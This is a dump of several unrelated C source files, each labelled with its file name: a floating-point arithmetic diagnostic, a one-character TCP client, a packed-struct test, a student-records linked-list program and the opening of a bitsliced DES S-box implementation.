%.17e\n", Z); printf(" is too far from sqrt(Z) ^ 2 = %.17e .\n", Y); } } } /*=============================================*/ Milestone = 180; /*=============================================*/ for(Indx = 1; Indx <= 2; ++Indx) { if (Indx == 1) Z = V; else Z = V0; V9 = SQRT(Z); X = (One - Radix * E9) * V9; V9 = V9 * X; if (((V9 < (One - Two * Radix * E9) * Z) || (V9 > Z))) { Y = V9; if (X < W) BadCond(Serious, ""); else BadCond(Defect, ""); printf("Comparison alleges that Z = %17e\n", Z); printf(" is too far from sqrt(Z) ^ 2 (%.17e) .\n", Y); } } /*=============================================*/ /*SPLIT } #include "paranoia.h" int part8(VOID){ */ Milestone = 190; /*=============================================*/ Pause(); X = UfThold * V; Y = Radix * Radix; if (X*Y < One || X > Y) { if (X * Y < U1 || X > Y/U1) BadCond(Defect, "Badly"); else BadCond(Flaw, ""); printf(" unbalanced range; UfThold * V = %.17e\n\t%s\n", X, "is too far from 1.\n"); } /*=============================================*/ Milestone = 200; /*=============================================*/ for (Indx = 1; Indx <= 5; ++Indx) { X = F9; switch (Indx) { case 2: X = One + U2; break; case 3: X = V; break; case 4: X = UfThold; break; case 5: X = Radix; } Y = X; sigsave = sigfpe; if (setjmp(ovfl_buf)) printf(" X / X traps when X = %g\n", X); else { V9 = (Y / X - Half) - Half; if (V9 == Zero) continue; if (V9 == - U1 && Indx < 5) BadCond(Flaw, ""); else BadCond(Serious, ""); printf(" X / X differs from 1 when X = %.17e\n", X); printf(" instead, X / X - 1/2 - 1/2 = %.17e .\n", V9); } sigsave = 0; } /*=============================================*/ Milestone = 210; /*=============================================*/ MyZero = Zero; printf("\n"); printf("What message and/or values does Division by Zero produce?\n") ; #ifndef NOPAUSE printf("This can interupt your program. You can "); printf("skip this part if you wish.\n"); printf("Do you wish to compute 1 / 0? "); fflush(stdout); read (KEYBOARD, ch, 8); if ((ch[0] == 'Y') || (ch[0] == 'y')) { #endif sigsave = sigfpe; printf(" Trying to compute 1 / 0 produces ..."); if (!setjmp(ovfl_buf)) printf(" %.7e .\n", One / MyZero); sigsave = 0; #ifndef NOPAUSE } else printf("O.K.\n"); printf("\nDo you wish to compute 0 / 0? "); fflush(stdout); read (KEYBOARD, ch, 80); if ((ch[0] == 'Y') || (ch[0] == 'y')) { #endif sigsave = sigfpe; printf("\n Trying to compute 0 / 0 produces ..."); if (!setjmp(ovfl_buf)) printf(" %.7e .\n", Zero / MyZero); sigsave = 0; #ifndef NOPAUSE } else printf("O.K.\n"); #endif /*=============================================*/ Milestone = 220; /*=============================================*/ Pause(); printf("\n"); { static char *msg[] = { "FAILUREs encountered =", "SERIOUS DEFECTs discovered =", "DEFECTs discovered =", "FLAWs discovered =" }; int i; for(i = 0; i < 4; i++) if (ErrCnt[i]) printf("The number of %-29s %d.\n", msg[i], ErrCnt[i]); } printf("\n"); if ((ErrCnt[Failure] + ErrCnt[Serious] + ErrCnt[Defect] + ErrCnt[Flaw]) > 0) { if ((ErrCnt[Failure] + ErrCnt[Serious] + ErrCnt[ Defect] == 0) && (ErrCnt[Flaw] > 0)) { printf("The arithmetic diagnosed seems "); printf("Satisfactory though flawed.\n"); } if ((ErrCnt[Failure] + ErrCnt[Serious] == 0) && ( ErrCnt[Defect] > 0)) { printf("The arithmetic diagnosed may be Acceptable\n"); printf("despite inconvenient Defects.\n"); } if ((ErrCnt[Failure] + ErrCnt[Serious]) > 0) { printf("The arithmetic diagnosed has "); printf("unacceptable Serious Defects.\n"); } if (ErrCnt[Failure] > 0) { printf("Potentially fatal FAILURE may have spoiled this"); printf(" program's subsequent diagnoses.\n"); } } else { printf("No failures, defects nor flaws have been discovered.\n"); if (! ((RMult == Rounded) && (RDiv == Rounded) && (RAddSub == Rounded) && (RSqrt == Rounded))) printf("The arithmetic diagnosed seems Satisfactory.\n"); else { if (StickyBit >= One && (Radix - Two) * (Radix - Nine - One) == Zero) { printf("Rounding appears to conform to "); printf("the proposed IEEE standard P"); if ((Radix == Two) && ((Precision - Four * Three * Two) * ( Precision - TwentySeven - TwentySeven + One) == Zero)) printf("754"); else printf("854"); if (IEEE) printf(".\n"); else { printf(",\nexcept for possibly Double Rounding"); printf(" during Gradual Underflow.\n"); } } printf("The arithmetic diagnosed appears to be Excellent!\n"); } } if (fpecount) printf("\nA total of %d floating point exceptions were registered.\n", fpecount); printf("END OF TEST.\n"); return 0; } /*SPLIT subs.c #include "paranoia.h" */ FLOAT Sign (FP X) #ifdef KR_headers FLOAT X; #endif { return X >= 0. ? 1.0 : -1.0; } void Pause(VOID) { #ifndef NOPAUSE char ch[8]; printf("\nTo continue, press RETURN"); fflush(stdout); read(KEYBOARD, ch, 8); #endif printf("\nDiagnosis resumes after milestone Number %d", Milestone); printf(" Page: %d\n\n", PageNo); ++Milestone; ++PageNo; } void TstCond (INT K, INT Valid, CHARP T) #ifdef KR_headers int K, Valid; char *T; #endif { if (! Valid) { BadCond(K,T); printf(".\n"); } } void BadCond(INT K, CHARP T) #ifdef KR_headers int K; char *T; #endif { static char *msg[] = { "FAILURE", "SERIOUS DEFECT", "DEFECT", "FLAW" }; ErrCnt [K] = ErrCnt [K] + 1; printf("%s: %s", msg[K], T); } FLOAT Random(VOID) /* Random computes X = (Random1 + Random9)^5 Random1 = X - FLOOR(X) + 0.000005 * X; and returns the new value of Random1 */ { FLOAT X, Y; X = Random1 + Random9; Y = X * X; Y = Y * Y; X = X * Y; Y = X - FLOOR(X); Random1 = Y + X * 0.000005; return(Random1); } void SqXMinX (INT ErrKind) #ifdef KR_headers int ErrKind; #endif { FLOAT XA, XB; XB = X * BInvrse; XA = X - XB; SqEr = ((SQRT(X * X) - XB) - XA) / OneUlp; if (SqEr != Zero) { if (SqEr < MinSqEr) MinSqEr = SqEr; if (SqEr > MaxSqEr) MaxSqEr = SqEr; J = J + 1.0; BadCond(ErrKind, "\n"); printf("sqrt( %.17e) - %.17e = %.17e\n", X * X, X, OneUlp * SqEr); printf("\tinstead of correct value 0 .\n"); } } void NewD(VOID) { X = Z1 * Q; X = FLOOR(Half - X / Radix) * Radix + X; Q = (Q - X * Z) / Radix + X * X * (D / Radix); Z = Z - Two * X * D; if (Z <= Zero) { Z = - Z; Z1 = - Z1; } D = Radix * D; } void SR3750(VOID) { if (! ((X - Radix < Z2 - Radix) || (X - Z2 > W - Z2))) { I = I + 1; X2 = SQRT(X * D); Y2 = (X2 - Z2) - (Y - Z2); X2 = X8 / (Y - Half); X2 = X2 - Half * X2 * X2; SqEr = (Y2 + Half) + (Half - X2); if (SqEr < MinSqEr) MinSqEr = SqEr; SqEr = Y2 - X2; if (SqEr > MaxSqEr) MaxSqEr = SqEr; } } void IsYeqX(VOID) { if (Y != X) { if (N <= 0) { if (Z == Zero && Q <= Zero) printf("WARNING: computing\n"); else BadCond(Defect, "computing\n"); printf("\t(%.17e) ^ (%.17e)\n", Z, Q); printf("\tyielded %.17e;\n", Y); printf("\twhich compared unequal to correct %.17e ;\n", X); printf("\t\tthey differ by %.17e .\n", Y - X); } N = N + 1; /* ... count discrepancies. */ } } void SR3980(VOID) { do { Q = (FLOAT) I; Y = POW(Z, Q); IsYeqX(); if (++I > M) break; X = Z * X; } while ( X < W ); } void PrintIfNPositive(VOID) { if (N > 0) printf("Similar discrepancies have occurred %d times.\n", N); } void TstPtUf(VOID) { N = 0; if (Z != Zero) { printf("Since comparison denies Z = 0, evaluating "); printf("(Z + Z) / Z should be safe.\n"); sigsave = sigfpe; if (setjmp(ovfl_buf)) goto very_serious; Q9 = (Z + Z) / Z; printf("What the machine gets for (Z + Z) / Z is %.17e .\n", Q9); if (FABS(Q9 - Two) < Radix * U2) { printf("This is O.K., provided Over/Underflow"); printf(" has NOT just been signaled.\n"); } else { if ((Q9 < One) || (Q9 > Two)) { very_serious: N = 1; ErrCnt [Serious] = ErrCnt [Serious] + 1; printf("This is a VERY SERIOUS DEFECT!\n"); } else { N = 1; ErrCnt [Defect] = ErrCnt [Defect] + 1; printf("This is a DEFECT!\n"); } } sigsave = 0; V9 = Z * One; Random1 = V9; V9 = One * Z; Random2 = V9; V9 = Z / One; if ((Z == Random1) && (Z == Random2) && (Z == V9)) { if (N > 0) Pause(); } else { N = 1; BadCond(Defect, "What prints as Z = "); printf("%.17e\n\tcompares different from ", Z); if (Z != Random1) printf("Z * 1 = %.17e ", Random1); if (! ((Z == Random2) || (Random2 == Random1))) printf("1 * Z == %g\n", Random2); if (! (Z == V9)) printf("Z / 1 = %.17e\n", V9); if (Random2 != Random1) { ErrCnt [Defect] = ErrCnt [Defect] + 1; BadCond(Defect, "Multiplication does not commute!\n"); printf("\tComparison alleges that 1 * Z = %.17e\n", Random2); printf("\tdiffers from Z * 1 = %.17e\n", Random1); } Pause(); } } } void notify(CHARP s) #ifdef KR_headers char *s; #endif { printf("%s test appears to be inconsistent...\n", s); printf(" PLEASE NOTIFY KARPINKSI!\n"); } /*SPLIT msgs.c #include "paranoia.h" */ void msglist(CHARPP s) #ifdef KR_headers char **s; #endif { while(*s) printf("%s\n", *s++); } void Instructions(VOID) { static char *instr[] = { "Lest this program stop prematurely, i.e. before displaying\n", " `END OF TEST',\n", "try to persuade the computer NOT to terminate execution when an", "error like Over/Underflow or Division by Zero occurs, but rather", "to persevere with a surrogate value after, perhaps, displaying some", "warning. If persuasion avails naught, don't despair but run this", "program anyway to see how many milestones it passes, and then", "amend it to make further progress.\n", "Answer questions with Y, y, N or n (unless otherwise indicated).\n", 0}; msglist(instr); } void Heading(VOID) { static char *head[] = { "Users are invited to help debug and augment this program so it will", "cope with unanticipated and newly uncovered arithmetic pathologies.\n", "Please send suggestions and interesting results to", "\tRichard Karpinski", "\tComputer Center U-76", "\tUniversity of California", "\tSan Francisco, CA 94143-0704, USA\n", "In doing so, please include the following information:", #ifdef Single "\tPrecision:\tsingle;", #else "\tPrecision:\tdouble;", #endif "\tVersion:\t10 February 1989;", "\tComputer:\n", "\tCompiler:\n", "\tOptimization level:\n", "\tOther relevant compiler options:", 0}; msglist(head); } void Characteristics(VOID) { static char *chars[] = { "Running this program should reveal these characteristics:", " Radix = 1, 2, 4, 8, 10, 16, 100, 256 ...", " Precision = number of significant digits carried.", " U2 = Radix/Radix^Precision = One Ulp", "\t(OneUlpnit in the Last Place) of 1.000xxx .", " U1 = 1/Radix^Precision = One Ulp of numbers a little less than 1.0 .", " Adequacy of guard digits for Mult., Div. and Subt.", " Whether arithmetic is chopped, correctly rounded, or something else", "\tfor Mult., Div., Add/Subt. and Sqrt.", " Whether a Sticky Bit used correctly for rounding.", " UnderflowThreshold = an underflow threshold.", " E0 and PseudoZero tell whether underflow is abrupt, gradual, or fuzzy.", " V = an overflow threshold, roughly.", " V0 tells, roughly, whether Infinity is represented.", " Comparisions are checked for consistency with subtraction", "\tand for contamination with pseudo-zeros.", " Sqrt is tested. Y^X is not tested.", " Extra-precise subexpressions are revealed but NOT YET tested.", " Decimal-Binary conversion is NOT YET tested for accuracy.", 0}; msglist(chars); } void History(VOID) { /* History */ /* Converted from Brian Wichmann's Pascal version to C by Thos Sumner, with further massaging by David M. Gay. */ static char *hist[] = { "The program attempts to discriminate among", " FLAWs, like lack of a sticky bit,", " Serious DEFECTs, like lack of a guard digit, and", " FAILUREs, like 2+2 == 5 .", "Failures may confound subsequent diagnoses.\n", "The diagnostic capabilities of this program go beyond an earlier", "program called `MACHAR', which can be found at the end of the", "book `Software Manual for the Elementary Functions' (1980) by", "W. J. Cody and W. Waite. Although both programs try to discover", "the Radix, Precision and range (over/underflow thresholds)", "of the arithmetic, this program tries to cope with a wider variety", "of pathologies, and to say how well the arithmetic is implemented.", "\nThe program is based upon a conventional radix representation for", "floating-point numbers, but also allows logarithmic encoding", "as used by certain early WANG machines.\n", "BASIC version of this program (C) 1983 by Prof. W. M. Kahan;", "see source comments for more history.", 0}; msglist(hist); }
the_stack_data/114344.c
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int sockfd; int len; struct sockaddr_in address; int result; char ch = 'A'; if(argc < 3) { printf("usage: ./client <server_addr> <server_port>\n"); return -1; } sockfd = socket(AF_INET, SOCK_STREAM, 0); address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr(argv[1]); //让用户输入server的addr和port, 若server在本地:127.0.0.1 address.sin_port = htons(atoi(argv[2])); //server httpd的前向端口 len = sizeof(address); result = connect(sockfd, (struct sockaddr *)&address, len); if (result == -1) { perror("oops: client connect fail!\n"); exit(1); } write(sockfd, &ch, 1); read(sockfd, &ch, 1); //阻塞直到server返回socket数据 printf("char from server = %c\n", ch); close(sockfd); exit(0); }
the_stack_data/133402.c
#include <stdio.h> int main() { int P1 = 0, C1 = 0, P2 = 0, C2 = 0; scanf("%d %d %d %d", &P1, &C1, &P2, &C2); if (P1 * C1 > P2 * C2) printf("-1\n"); else if (P1 * C1 < P2 * C2) printf("1\n"); else printf("0\n"); return 0; }
the_stack_data/150141711.c
/* * Copyright (c) 2017, 2018, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ struct __attribute__((__packed__)) test { char a; int b; char c; char d; char e; }; int main() { struct test t; t.a = 3; t.b = 2; t.c = 4; t.d = 5; t.e = 6; long result = *((long *)&t.a); return result % 256; }
the_stack_data/64200258.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <ctype.h> //Linked list struct student_records{ int id; char *firstName; char *lastName; float gpa; char *major; struct student_records *next; int p; }; int errorCase(char); double checkGPA(char*); //Add node to list. int add(struct student_records *current, struct student_records *cursor){ int added; while (cursor->next != NULL) { if(current->id > cursor->next->id){ added = 0; cursor = cursor->next; //printf("moved forward\n"); }//find the first one greater than current id, if found: else if (current->id < cursor->next->id){ current->next = cursor->next; cursor->next = current; added = 1; }else errorCase('i'); } // if (cursor->next == NULL && added != 1 ){ cursor->next = current; cursor = current; //printf("added in the end\n"); } return 0; } //Remove nodes from linked list. int delete(int id, struct student_records *cursor){ int deleted = -1; while (cursor->next != NULL && deleted != 1){ if(cursor->next->id == id ){ cursor->next = cursor->next->next; deleted = 1; return 0; //printf("deleted\n"); } else { deleted = 0; cursor = cursor->next; //printf("move forward\n"); } } if (cursor->id == id && cursor->next == NULL && deleted == 0){ free(cursor); deleted = 1; return 0; //printf("deleted from tail\n"); } if (deleted == 0) errorCase('s'); else if (deleted == -1) errorCase('n'); else return 0; } int update(struct student_records *current, struct student_records *cursor){ int updated = -1; if (cursor != NULL && cursor->id == current->id){ current->next = cursor->next; cursor = current; } //from this line check one node ahead so I'll be able to just insert a new one, should work while (cursor->next != NULL && updated != 1){ if(cursor->next->id != current->id){ updated = 0; cursor = cursor->next; }else { updated = 1; current->next = cursor->next->next; //doesn't matter if null cursor->next = current; //printf("updated %s", cursor->next->firstName); } //it should be doable since i can just add new node and rm old node // here i'm missing the check for cursor itself so if i check it then should be correct } if (updated == 0){ errorCase('s'); }else if (updated == -1) errorCase('n'); return 0; } //Then write back from the list to the original file. //int writeBack(){} //read all the input data, create database. int compareCommand(char *cmd, char *str){ int i; for ( i = 0; *(cmd + i) != '\0'; i++ ) if (*(cmd + i) != *(str + i)) return -1; return 0; } int convert(char* str, int flag){ int i; for (i = 0; *(str + i); i++){ if (isalpha(*(str + i)) == 0){ if (!flag) errorCase('p'); else errorCase('a'); } if (i == 0) *(str) = toupper(*str); else *(str + i) = tolower(*(str + i)); } if ( i < 3 || i > 10){ if (!flag) errorCase('p'); else errorCase('a'); } } int convertMajor(char * str, int flag){ //for (; *str; ++str) *str = toupper(*str); int i; for (i = 0; *(str + i); i++){ if (isalpha(*(str + i)) == 0){ if (!flag) errorCase('p'); else errorCase('a'); } *(str + i) = toupper(*(str + i)); } if ( i != 3){ if (!flag) errorCase('p'); else errorCase('a'); } } int readData(FILE *file, struct student_records *cursor){ char *buffer = (char *)malloc(sizeof(char)*128); char *cmd = (char *)malloc(sizeof(char)* 8); char *gpa = (char *)malloc(sizeof(char)* 5); while ( fgets(buffer, 128, file) != NULL && !feof(file)){ struct student_records *current =(struct student_records *)malloc(sizeof(struct student_records)); current->firstName = (char *)malloc(sizeof(char)*20); current->lastName = (char *)malloc(sizeof(char)*20); current->major = (char *)malloc(sizeof(char)*5); current->next = NULL; sscanf(buffer, "%s %d %s %s %s %s ", cmd, &(current->id), current->firstName, current->lastName, gpa, current->major); //printf("GPA: %s\n", gpa); current->gpa = (float)checkGPA(gpa); //printf("current cmd: %s, current id: %d, first name: %s, last name: %s, gpa: %.2f, major: %s\n", cmd, current->id, current->firstName, current->lastName, current->gpa, current->major); if(compareCommand (cmd, "ADD") == 0 ) { convertMajor(current->major, 0); convert(current->firstName, 0); convert(current->lastName, 0); add(current, cursor); // printf("if add is correct should see this line at the end\n"); } else if(compareCommand (cmd, "DELETE") == 0) delete(current->id, cursor); else if (compareCommand(cmd, "UPDATE") == 0){ convertMajor(current->major, 0); convert(current->firstName, 0); convert(current->lastName, 0); update(current, cursor); } else { errorCase('p'); } *cmd = 'x'; //printf("end of while loop\n"); } //printf("outside of while loop\n"); //Never get out of while loop, the last command can be processed though free(cmd); free(buffer); //printf("It's ok until the end of readData"); return 0; //how to? } int printAll(struct student_records *head, struct student_records *cursor){ cursor = head->next; //printf("@after printAll, should show up if no seg fault here new id %d", cursor->id); //move the cursor to the second node b/c head is empty while ( cursor != NULL ){ //printf("@printAll while loop\n"); cursor->p = 1; cursor = cursor->next; } return 0; } int print(FILE* output, struct student_records *head, struct student_records *cursor){ cursor = head->next; while ( cursor != NULL ){ if (cursor->p == 1) fprintf(output, "%d %s %s %.2f %s\n", cursor->id, cursor->firstName, cursor->lastName, cursor->gpa, cursor->major); cursor = cursor->next; } return 0; } int printID(struct student_records *head, struct student_records *cursor, int id){ int found = 0; cursor = head->next; while ( cursor != NULL ){ //printf("@printAll while loop\n"); if(cursor->id != id) cursor->p = 0; else{ found++; } cursor = cursor->next; } if (found == 0) errorCase('n'); return 0; } int printLastName(struct student_records *head, struct student_records *cursor, char *ln){ int found = 0; cursor = head->next; while (cursor != NULL){ if (compareCommand(cursor->lastName, ln) != 0){ cursor->p = 0; }else found++; cursor = cursor->next; } if (found == 0) errorCase('n'); return 0; } int printMajor(struct student_records *head, struct student_records *cursor, char *mjr){ int found = 0; cursor = head->next; while (cursor != NULL){ //printf("@printMajor\n"); if (compareCommand(cursor->major, mjr) != 0){ cursor->p = 0; //printf("@printMajor, cursor->major is %s", cursor->major); }else found++; cursor = cursor->next; } if (found == 0) errorCase('n'); return 0; } int printToFile( FILE *f, struct student_records *head, struct student_records *cursor){ cursor = head->next; while (cursor != NULL){ fprintf(f, "%d %s %s %.2f %s", cursor->id, cursor->firstName, cursor->lastName, cursor->gpa, cursor->major); cursor = cursor->next; } fclose(f); return 0; } int errorCase(char c){ switch(c){ case 'f': printf("FILE EXISTS\n"); exit(0); break; case 'q': printf("NO QUERY PROVIDED\n"); exit(0); break; case 'p': printf("FAILED TO PARSE FILE\n"); exit(0); break; case 's': printf("STUDENT RECORD CANNOT BE DELETED NOR UPDATED\n"); exit(0); break; case 'i': printf("ID NOT UNIQUE\n"); exit(0); break; case 'n': printf("STUDENT RECORD NOT FOUND\n"); exit(0); break; default: printf("OTHER ERROR\n"); exit(0); break; } return 0; } double checkGPA(char *str){ double gpa; int i; for (i = 0; *(str + i); i++){ //printf("%c ", *(str+i)); if (i == 1 && *(str + i) != '.'){ errorCase('p'); }else if (i != 1 && isdigit(*(str + i)) == 0 ){ //printf("error thrown\n"); errorCase('p'); } } gpa = atof(str); return gpa; } int main(int argc, char** argv) { /* * printf("%d %s %s %.2f %s\n", id, first_name, last_name, gpa, major); */ struct student_records records = { .next = NULL }; struct student_records *head = &records; struct student_records *cursor = head; int vflag = 0; //unless -v is called int oflag = 0; //unless -o is called int withv = 0; int c = 0; int id = -1; char *lastname; char *major; char *input = *(argv + 1); char *filename; FILE *f = stdout; //unless specified by -o that there's an output file FILE *fin; if (access(input, F_OK) != -1){ //File exists //Tested, input file name is parsed fin = fopen(input, "r"); readData(fin, cursor); //printf("just check if my list is still alive: %d\n", cursor->next->id); //printf("no seg fault so far"); head = &records; }else { errorCase('p'); } opterr = 0; while ((c = getopt (argc, argv, "vi:f:m:o:" )) != -1 ){ switch(c){ case 'v': vflag = 1; break; case 'i': withv = -1; id = atoi(optarg); break; case 'f': withv = -1; lastname = optarg; convert(lastname, 1); break; case 'm': withv = -1; major = optarg; convertMajor(major, 1); break; case 'o': filename = optarg; break; default: errorCase('a'); } } if ( c == 0 || argc < 3) errorCase('q'); //Check the flags //Sorry for the stupid long if-else printAll(head, cursor); //set all p = 1 if ( vflag == 1 && withv == -1 ){//Don't filter errorCase('a'); } else if (!vflag){// Filter if (id != -1) printID(head, cursor, id); if (lastname != NULL) printLastName(head, cursor, lastname); if (major != NULL) printMajor(head, cursor, major); if (filename != NULL){ if (access(filename, F_OK) != -1 ){ printf("File exists. Override? Y/N\n"); char c; scanf(" %c", &c); if (c == 'y' || c == 'Y'){ f = fopen(filename, "w+"); printToFile(f, head, cursor);//it wants the database or the info I printed on the screen? }else { errorCase('f'); } } else { f = fopen(filename, "w+"); printf("created new file %s\n", filename); } } } print(f, head, cursor);//print filtered list return 0; }
the_stack_data/25377.c
int main() { int non_det; int x = 0; for(int i = 0; i != 5; ++i) { int y = 0; x++; y = 1; } }
the_stack_data/1015866.c
/* * Generated S-box files. * * Produced by Matthew Kwan - March 1998 */ /* To generate this from the original code: perl -p0i~ -E ' s/\s*s(\d+) \(((\s*\S+\s*\^\s*\S+\s*,)+)/my@v;$n=$1;@pre=map{push@v,"t".++$c;" unsigned long t$c = $_;\n"} ($2=~m%\S+\s*\^\s*\w+%g);"@pre"." s$n(".(join",",@v).","/ge' des_kwan.c perl -pe 's%\s*(s\d)(.*?)(&.*)%my(@p,@n,@c);$f=$1;$s=$2;for($3=~/&(\w+)/g){$v=out.++$i;push@p," unsigned long $v;";push@n," $_ = $_ ^ $v;";push@c,"\&$v";}; join("\n",@p) . ("\n $f$s") . join(",",@c) . ");\n" . join("\n",@n)%e' des_kwan.c > des_kwan_output_sep.c */ static void s1 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; unsigned long x55; unsigned long x56; unsigned long x57; unsigned long x58; unsigned long x59; unsigned long x60; unsigned long x61; unsigned long x62; unsigned long x63; x1 = ~(a4); x2 = ~(a1); x3 = (a3) ^ (a4); x4 = (x2) ^ (x3); x5 = (x2) | (a3); x6 = (x1) & (x5); x7 = (x6) | (a6); x8 = (x7) ^ (x4); x9 = (x2) | (x1); x10 = (x9) & (a6); x11 = (x10) ^ (x7); x12 = (x11) | (a2); x13 = (x12) ^ (x8); x14 = (x13) ^ (x9); x15 = (x14) | (a6); x16 = (x15) ^ (x1); x17 = ~(x14); x18 = (x3) & (x17); x19 = (x18) | (a2); x20 = (x19) ^ (x16); x21 = (x20) | (a5); x22 = (x21) ^ (x13); *out4 = x22; x23 = (x4) | (a3); x24 = ~(x23); x25 = (x24) | (a6); x26 = (x25) ^ (x6); x27 = (x8) & (x1); x28 = (x27) | (a2); x29 = (x28) ^ (x26); x30 = (x8) | (x1); x31 = (x6) ^ (x30); x32 = (x14) & (x5); x33 = (x8) ^ (x32); x34 = (x33) & (a2); x35 = (x34) ^ (x31); x36 = (x35) | (a5); x37 = (x36) ^ (x29); *out1 = x37; x38 = (x10) & (a3); x39 = (x4) | (x38); x40 = (x33) & (a3); x41 = (x25) ^ (x40); x42 = (x41) | (a2); x43 = (x42) ^ (x39); x44 = (x26) | (a3); x45 = (x14) ^ (x44); x46 = (x8) | (a1); x47 = (x20) ^ (x46); x48 = (x47) | (a2); x49 = (x48) ^ (x45); x50 = (x49) & (a5); x51 = (x50) ^ (x43); *out2 = x51; x52 = (x40) ^ (x8); x53 = (x11) ^ (a3); x54 = (x5) & (x53); x55 = (x54) | (a2); x56 = (x55) ^ (x52); x57 = (x4) | (a6); x58 = (x38) ^ (x57); x59 = (x56) & (x13); x60 = (x59) & (a2); x61 = (x60) ^ (x58); x62 = (x61) & (a5); x63 = (x62) ^ (x56); *out3 = x63; } static void s2 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; unsigned long x55; unsigned long x56; x1 = ~(a5); x2 = ~(a1); x3 = (a6) ^ (a5); x4 = (x2) ^ (x3); x5 = (a2) ^ (x4); x6 = (x1) | (a6); x7 = (x2) | (x6); x8 = (x7) & (a2); x9 = (x8) ^ (a6); x10 = (x9) & (a3); x11 = (x10) ^ (x5); x12 = (x9) & (a2); x13 = (x6) ^ (a5); x14 = (x13) | (a3); x15 = (x14) ^ (x12); x16 = (x15) & (a4); x17 = (x16) ^ (x11); *out2 = x17; x18 = (a1) | (a5); x19 = (x18) | (a6); x20 = (x19) ^ (x13); x21 = (a2) ^ (x20); x22 = (x4) | (a6); x23 = (x17) & (x22); x24 = (x23) | (a3); x25 = (x24) ^ (x21); x26 = (x2) | (a6); x27 = (x2) & (a5); x28 = (x27) | (a2); x29 = (x28) ^ (x26); x30 = (x27) ^ (x3); x31 = (x19) ^ (x2); x32 = (x31) & (a2); x33 = (x32) ^ (x30); x34 = (x33) & (a3); x35 = (x34) ^ (x29); x36 = (x35) | (a4); x37 = (x36) ^ (x25); *out3 = x37; x38 = (x32) & (x21); x39 = (x5) ^ (x38); x40 = (x15) | (a1); x41 = (x13) ^ (x40); x42 = (x41) | (a3); x43 = (x42) ^ (x39); x44 = (x41) | (x28); x45 = (x44) & (a4); x46 = (x45) ^ (x43); *out1 = x46; x47 = (x21) & (x19); x48 = (x26) ^ (x47); x49 = (x33) & (a2); x50 = (x21) ^ (x49); x51 = (x50) & (a3); x52 = (x51) ^ (x48); x53 = (x28) & (x18); x54 = (x50) & (x53); x55 = (x54) | (a4); x56 = (x55) ^ (x52); *out4 = x56; } static void s3 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long 